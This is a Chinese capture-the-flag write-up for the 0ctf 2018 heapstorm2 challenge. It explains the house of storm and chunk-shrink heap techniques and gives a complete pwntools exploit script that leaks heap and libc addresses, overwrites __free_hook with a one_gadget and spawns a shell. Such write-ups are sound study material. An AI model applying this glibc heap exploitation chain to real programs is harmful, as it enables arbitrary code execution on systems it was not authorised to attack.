(BUUCTF)0ctf_2018_heapstorm2

news/2024/4/20 16:41:40/

文章目录

  • 前置知识
  • 整体思路
    • house of storm
      • 如何进行一次house of storm
      • house of storm原理
      • house of storm具体流程
    • chunk shrink
  • exp

前置知识

  • unsortedbin attack
  • largebin attack
  • off by null构造chunk shrink

整体思路

这道题即是house of storm。除了house of storm,本道题还需要通过chunk shrink来获得重叠指针。因此本文将分别写house of stormchunk shrink两个方面。看完了原理,可以结合我的exp,有详细每一步的注释。

house of storm

如何进行一次house of storm

你可以做到:

  • 任意地址的chunk分配

你需要完成:

  • 控制一个unsortedbinlargebin中的chunk,且unsortedbin中的要比largebin中的大

house of storm原理

一句话描述一下house of storm:通过largebin attackfake chunkheader上错位写下一个0x550x56size,并在fake chunkbk处写一个堆地址。控制unsortedbinchunkbk指向要申请的fake chunk。申请一个大小为0x50chunk,先触发largebin attack,从而根据unsortedbinbk申请到fake chunk,完成任意地址写。

这实际上分为两个部分,首先,我们要知道,unsortedbin attack并非只能在指定位置写一个libc地址,还可以类似于fastbin attack完成一个chunk的分配,只是条件比较苛刻。一句话就是需要unsortedbinbk指向的chunkbk可写,其size合法。

那么我们便可以利用largebin attack来完成这些条件:

  • largebinattack可以写两个值
  • 第一个值错位写要申请的地方的size,使得堆地址最开始的0x55或者0x56size
  • 第二个值写要申请的地方的bk,使得bk为一个可写的值
  • 然后申请大小为0x50chunk即可申请到unsortedbinbk

house of storm具体流程

  • 假设要分配到fake chunk
  • unsortedbinchunkbkfake chunk的地址
  • largebin中的chunkbkfake chunk + 0x18 - 0x10
  • largebin中的chunkbk_nextsizefake chunk + 0x3 - 0x20
  • 申请一个大小为0x50chunk

chunk shrink

上面我们提到需要控制unsortedbinlargebin中的chunk,这一部分需要获得重叠指针。

chunk shrink算是另一种off by null的利用,相比于三明治结构要比较复杂。适用于一些极端情况。

使用方法:小大小三个chunk(不能是fastbin大小),设为abcb0x510(例如),在其最末尾写fake prev_size0x500,释放b置入unsortedbin,通过a进行off by nullbsize变为0x500。申请几个加起来为0x500chunk,第一个不能为fastbin大小,例如三个为0x880x180x448,设为def。先后释放dc,将会导致最开始申请的bc合并,由此再次申请回d,再申请回e可以获得重叠的e指针。

exp

from pwn import *
from LibcSearcher import *filename = './0ctf_2018_heapstorm2'
context(log_level='debug')
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libcdef debug():for an_log in all_logs:success(an_log)pid = util.proc.pidof(sh)[0]gdb.attach(pid)pause()choice_words = 'Command: 'menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = ''menu_del = 3
del_index_words = 'Index: 'menu_show = 4
show_index_words = 'Index: 'menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = 'Size: '
edit_content_words = 'Content: 'def add(index=-1, size=-1, content=''):sh.sendlineafter(choice_words, str(menu_add))if add_index_words:sh.sendlineafter(add_index_words, str(index))if add_size_words:sh.sendlineafter(add_size_words, str(size))if add_content_words:sh.sendafter(add_content_words, content)def delete(index=-1):sh.sendlineafter(choice_words, str(menu_del))if del_index_words:sh.sendlineafter(del_index_words, str(index))def show(index=-1):sh.sendlineafter(choice_words, str(menu_show))if show_index_words:sh.sendlineafter(show_index_words, str(index))def edit(index=-1, size=-1, content=''):sh.sendlineafter(choice_words, str(menu_edit))if edit_index_words:sh.sendlineafter(edit_index_words, str(index))if edit_size_words:sh.sendlineafter(edit_size_words, str(size))if edit_content_words:sh.sendafter(edit_content_words, content)def leak_info(name, addr):output_log = '{} => {}'.format(name, hex(addr))all_logs.append(output_log)success(output_log)while True:if local:sh = process(filename)else:sh = remote('node4.buuoj.cn', )# 第一步,利用off by null来构造chunk shrink进而分别获得重叠的一个largebin和一个unsortedbin chunkadd(size=0x18) # 0add(size=0x508) # 1add(size=0x18) # 2add(size=0x20) # 3防止合并# 待会我们会将size为0x510的chunk进行off by null缩小到0x500,因此先在末尾写一个fake prev_size为0x500payload = b'a'*0x4f0 + p64(0x500)edit(index=1, size=len(payload), content=payload)# 将大小为0x510的chunk添加到unsortedbin中去delete(index=1)# 通过chunk 0进行off by null,来将unsortedbin中的大小为0x510的chunk改为0x500payload = b'a'*(0x18 - 12)edit(index=0, size=len(payload), content=payload)# 申请两个chunk,加起来为0x500,且unsortedbin此时为空了add(size=0x18) # 1add(size=0x4d8) # 4# 释放chunk1和chunk2,chunk2释放的时候由于prev_inuse=0,而prev_size为0x510,因此会将最开始的chunk0和chunk1整个部分合并delete(index=1)delete(index=2)# 再申请回来从而获得重叠指针add(size=0x18) # 1add(size=0x4d8) # 2,和4重合,大小为0x4e0add(size=0x20) # 5# 下面这一部分和上面一模一样,没有任何区别add(size=0x18) # 6add(size=0x508) # 7add(size=0x18) # 8add(size=0x20) # 9防止合并payload = b'a'*0x4f0 + p64(0x500)edit(index=7, size=len(payload), content=payload)delete(index=7)payload = b'a'*(0x18 - 12)edit(index=6, size=len(payload), content=payload)add(size=0x38) # 7add(size=0x4b8) # 10delete(index=7)delete(index=8)add(size=0x38) # 7add(size=0x4b8) # 8,和10重合,大小为0x4c0add(size=0x20) # 11# 先后将小的和大的置入unsortedbin,然后申请回大的。# 由于unsortedbin是先遍历先进入的(FIFO),因此会将小的置入largebin# 再释放大的,大的会添加到unsortedbin。现在大小为0x4e0的chunk在unsortedbin而大小为0x4c0的chunk在largebindelete(index=8)delete(index=2)add(size=0x4d8) # 2delete(index=2)# 接下来开始house of storm。# 我们设fake chunk在0x13370800前面0x20,以便于我们控制这一部分array = 0x13370800fake_chunk = array - 0x20# unsortedbin的chunk中的bk改为要申请的chunk,这里即是我们的fake chunkpayload = p64(0) + p64(fake_chunk)edit(index=4, size=len(payload), content=payload)# laregbin attack可以同时写两个值为堆地址,bk的值+0x10处,以及bk_nextsize+0x20处# 核心的点就是我们要写fake_chunk + 3的地方为一个堆地址# 因为堆地址开头要么为0x55,要么为0x56,因此错位可以写出来一个fake chunk的sizepayload = p64(0) + p64(fake_chunk + 0x18 - 0x10) # 这里是fd和bkpayload += p64(0) + p64(fake_chunk + 0x3 - 0x20) # 这里是fd_nextsize和bk_nextsizeedit(index=10, size=len(payload), content=payload)# 由于我们这里是mmap出来的空间,因此申请的chunk的mmap位必须为1,因此只有当堆地址为0x56开头才对# 因此爆破。概率为1/2try:add(size=0x48) # 2payload = p64(0)*2 + p64(0)*3 + p64(0x13377331) + p64(0x13370800)edit(index=2, size=len(payload), content=payload)except EOFError:sh.close()continue# 申请到了,开始编辑,首先将两个用于加密的值都写为0,然后数组的第三个写为0x13377331从而可以打印# 然后根据数组的排列,下一个我们写0x133707e3,这里是一个堆地址payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(0x133707e3) + p64(8)edit(index=0, size=len(payload), content=payload)# 根据排列,现在index=1的话也就是0x133707e3,便可以泄露出堆地址show(index=1)sh.recvuntil('Chunk[1]: ')heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))leak_info('heap_base', heap_leak)heap_base = heap_leak - 0x40# 同理,我们再打印libc。heap_base + 0x50的地方有一个libc地址。payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(heap_base + 0x50) + p64(8)edit(index=0, size=len(payload), content=payload)show(index=1)sh.recvuntil('Chunk[1]: ')libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))leak_info('libc_leak', libc_leak)libc.address = libc_leak - libc.sym['__malloc_hook'] - 0x58 - 0x10leak_info('libc.address', libc.address)# 接下来只需要以同样方式来打free_hook即可!payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(libc.sym['__free_hook']) + p64(8)edit(index=0, size=len(payload), content=payload)one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]payload = p64(libc.address + one_gadget[1])edit(index=1, size=len(payload), content=payload)delete(index=0)sh.interactive()# debug()break

参考内容

[原创]Largebin attack总结-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com


http://www.ppmy.cn/news/1331229.html

相关文章

力扣206-反转链表

反转链表 题目链接 解题思路 反转链表,只需要将链表中的元素放入栈中,然后依次出栈,即可实现链表的反转 /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(…

k8s之ingress

ingress基于域名进行映射,把url(http https)的请求转发到service,再由service把请求转发到每一个pod ingress只要一个或者少量的公网ip或者LB,可以把多个http请求暴露到外网,七层反向代理 理解为service的service,是…

前端基础(三十八):iframe通信、浏览器跨窗口通信

iframe通信 - MessageChannel <!-- index.html --> <h3>MessageChannel</h3> <input id"input" type"text" oninput"handleInput(this.value)" /> <hr /> <iframe src"./demo.html"></iframe&…

【python】爬取百度热搜排行榜Top50+可视化【附源码】【送数据分析书籍】

英杰社区https://bbs.csdn.net/topics/617804998 一、导入必要的模块&#xff1a; 这篇博客将介绍如何使用Python编写一个爬虫程序&#xff0c;从斗鱼直播网站上获取图片信息并保存到本地。我们将使用requests模块发送HTTP请求和接收响应&#xff0c;以及os模块处理文件和目录操…

01、领域驱动设计:微服务设计为什么要选择DDD总结

目录 1、前言 2、软件架构模式的演进 3、微服务设计和拆分的困境 4、为什么 DDD适合微服务 5、DDD与微服务的关系 6、总结 1、前言 我们知道&#xff0c;微服务设计过程中往往会面临边界如何划定的问题&#xff0c;不同的人会根据自己对微服务的理 解而拆分出不同的微服…

安卓开发之自动缩放布局

AutoScalingLayout 适用于 Android 的自动缩放布局。 替换布局&#xff1a; 我们只需要替换根布局所需的自动缩放&#xff0c;子布局也将实现自动缩放。 原始布局AutoScalingLayout相对布局ASRelativeLayout线性布局ASLinearLayoutFrameLayout&#xff08;框架布局&#xff…

第2章-OSI参考模型与TCP/IP模型

目录 1. 引入 2. OSI参考模型 2.1. 物理层 2.2. 数据链路层 2.3. 网络层 2.4. 传输层 2.5. 会话层 2.6. 表示层 2.7. 应用层 3. 数据的封装与解封装 4. TCP/IP模型 4.1. 背景引入 4.2. TCP/IP模型&#xff08;4层&#xff09; 4.3. 拓展 1. 引入 1&#xff09;产…

Oracle 19c rac集群管理 -------- 集群启停操作过程

Oracle rac集群启停操作过程 首先查看数据库的集群的db_unique_name SQL> show parameter nameNAME TYPE VALUE ------------------------------------ ----------- --------------------------- cdb_cluster_name …

这种环境下腾讯64亿在北京拿地?

近期&#xff0c;金融市场出现较大波动&#xff0c;A股指数跌至2700点&#xff0c;同时恒生指数也下滑至15000点&#xff0c;引发了社会各界的关注和思考。与此同时&#xff0c;腾讯以64.2亿元拿下北京海淀区地块&#xff0c;马云和蔡崇信又增持阿里股票&#xff0c;这一系列的…

js vue调用activex ocx

js vue调用activex ocx 与IE调用方式不同处 CLSID和TYPE <OBJECT id"MultiplyDemo" refocx1 CLSID"{8EEF7302-1FC8-4BA0-8EA5-EC29FDBCA45B}" TYPE"application/x-itst-activex" width15% height15%></OBJECT>//调用方式1 //或是 …

LSTM时间序列预测

本文借鉴了数学建模清风老师的课件与思路&#xff0c;可以点击查看链接查看清风老师视频讲解&#xff1a;【1】演示&#xff1a;基于LSTM深度学习网络预测时间序列&#xff08;MATLAB工具箱&#xff09;_哔哩哔哩_bilibili % Forecast of time series based on LSTM deep learn…

正则表达式初版

一、简介 REGEXP&#xff1a; Regular Expressions&#xff0c;由一类特殊字符及文本字符所编写的模式&#xff0c;其中有些字符&#xff08;元字符&#xff09;不表示字符字面意义&#xff0c;而表示控制或通配的功能&#xff0c;类似于增强版的通配符功能&#xff0c;但与通…

RocketMQ的一万字全面总结,带你快速入门消息队列

前言 近日偶然聊起消息队列&#xff0c;发现知识模糊又破碎&#xff0c;遂广泛查询资料&#xff0c;做了这么一篇非常浅显的总结&#xff0c;聊以充作入门参考资料吧。 下面几个问题&#xff0c;如果不能回答地很好&#xff0c;可以试着在文中找寻一下答案。&#xff08;答案…

Django从入门到精通(一)

目录 一、Django环境搭建与命令 1.1、安装 1.2、命令行 创建项目 编写代码 运行 app概念 1.3、Pycharm创建项目 1.4、虚拟环境 创建虚拟环境 - 命令行 介绍 操作 基本问题 Pycharm 项目虚拟环境 django虚拟环境【安装django最新版本】 django虚拟环境【安装指…

婚姻 14

怎么让男生充满责任心&#xff1f; ① 人总是想被人看见② 用孩子塑造男人的家庭感&#xff0c;让他时时刻刻记住他有一个家③ 假装信任④ 老婆用朋友圈展示&#xff0c;让老公感觉自己有面子⑤ 塑造未来感&#xff0c;再断其后路&#xff0c;激发赚钱原动力⑥ 攻心的聊天 责任…

【语音基础】语音相关的基础

文章目录 端到端模型与传统模型的区别传统模型&#xff08;非端到端模型&#xff09;端到端模型 如何理解强制对齐&#xff1f;麦克风的类型有哪些&#xff1f;语音识别框架和模型语音采样率语音识别资料 端到端模型与传统模型的区别 传统模型&#xff08;非端到端模型&#x…

【制作100个unity游戏之23】实现类似七日杀、森林一样的生存游戏2(附项目源码)

本节最终效果演示 文章目录 本节最终效果演示系列目录前言添加小动物模型动画动物AI脚本效果 添加石头石头模型拾取物品效果 源码完结 系列目录 【制作100个unity游戏之23】实现类似七日杀、森林一样的生存游戏1&#xff08;附项目源码&#xff09; 【制作100个unity游戏之23】…

代码随想录刷题笔记 DAY12 | 二叉树的理论基础 | 二叉树的三种递归遍历 | 二叉树的非递归遍历 | 二叉树的广度优先搜索

Day 12 01. 二叉树的理论基础 1.1 二叉树的种类 满二叉树&#xff1a;除了叶子节点以外&#xff0c;每个节点都有两个子节点&#xff0c;整个树是被完全填满的完全二叉树&#xff1a;除了底层以外&#xff0c;其他部分是满的&#xff0c;底部可以不是满的但是必须是从左到右连…

供应XCZU3EG-1SFVA625E芯片

引领未来科技&#xff0c;XCZU3EG-1SFVA625E芯片为您打开无限可能 一、卓越性能&#xff0c;无与伦比 XCZU3EG-1SFVA625E芯片采用先进的制程技术&#xff0c;具备卓越的性能和功耗控制。无论是处理大数据还是实时计算&#xff0c;它都能轻松应对&#xff0c;确保您的设备运行流…

UE5 - Polycam扫描文件导入插件

Polycam是利用Gaussian Splatting进行3D重建的3D扫描相关软件&#xff0c;其对应有UE引擎的插件&#xff08;Plugin_XV3dGS&#xff09;可以把相关格式的文件导入到引擎&#xff1b; 首先Polycam的官网为&#xff1a;My Captures | Polycam 可以下载各种用户扫描文件&#xff…